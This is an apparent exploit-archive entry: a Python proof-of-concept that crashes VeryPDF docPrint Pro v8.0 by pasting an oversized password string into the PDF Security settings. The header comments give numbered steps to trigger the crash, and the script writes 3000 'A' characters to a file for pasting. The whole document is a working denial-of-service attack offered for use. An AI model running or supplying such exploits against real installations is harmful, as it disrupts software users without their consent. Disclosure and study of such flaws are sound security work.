22 lines
No EOL
889 B
Python
Executable file
22 lines
No EOL
889 B
Python
Executable file
# -*- coding: utf-8 -*-
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# Exploit Title: Document Converter (docPrint Pro) v8.0 - Denial of Service (PoC)
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# Date: 19/05/2019
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# Author: Alejandra Sánchez
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# Vendor Homepage: http://www.verypdf.com
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# Software: http://dl.verypdf.net/docprint_pro_setup.exe
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# Version: 8.0
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# Tested on: Windows 10
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# Proof of Concept:
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# 1.- Run the python script "DocConverter.py", it will create a new file "DocConverter.txt"
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# 2.- Copy the text from the generated DocConverterr.txt file to clipboard
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# 3.- Open docPrint Document Converter
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# 4.- Go to 'Setting' > 'PDF Security'
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# 5.- Mark 'Encrypt PDF File' and paste clipboard in the field 'User Password' or the field 'Master Password' and Click 'OK'
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# 6.- Click on 'Add File(s)', and select a supported file, e.g. 'sample.doc'
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# 7.- Click on 'Start', you will see a crash
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buffer = "\x41" * 3000
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f = open ("DocConverter.txt", "w")
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f.write(buffer)
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f.close() |